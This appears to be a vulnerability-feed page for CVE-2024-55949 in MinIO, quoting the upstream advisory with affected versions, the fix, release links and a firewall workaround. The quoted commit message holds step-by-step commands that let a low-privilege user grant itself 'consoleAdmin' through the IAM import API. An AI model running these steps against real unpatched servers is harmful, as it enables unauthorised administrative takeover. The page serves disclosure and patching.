Answer in brief
CVE-2024-55949 records a Unknown severity vulnerability in MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio. The current sources do not mark it as known exploited. The current feed maps github.com/minio/minio (go). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps github.com/minio/minio (go). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/minio/miniogo | >=0.0.0-20220623162515-580d9db85e04 <0.0.0-20241213221912-68b004a48f41 | 0.0.0-20241213221912-68b004a48f41 |
Published upstream
Dec 16, 2024
Evidence: source:osv:source_dates:source-dates:recordSource modified
Oct 8, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Aug 7, 2026
### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f ### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <[email protected]> Date: Wed Dec 11 18:09:40 2024 -0800 fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in user_mappings.json 2. Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody ``` ``` ### Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer. Behind a load balancer / firewall such as `nginx` . ``` location /minio/admin/v2/import-iam { ... } ``` ``` location /minio/admin/v3/import-iam-v2 { ... ``` Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded. ### References Refer https://github.com/minio/minio/pull/20756 for more information ### Binary Releases #### AiStor Containers ``` quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips ``` #### AiStor Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `linux/arm64` - https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `windows/amd64` - https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ### Community Containers ``` quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips ``` ### Community Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `linux/arm64` - https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `windows/amd64` - https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ### Credits Credit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.
Quoted source text, attributed separately from HOL analysis.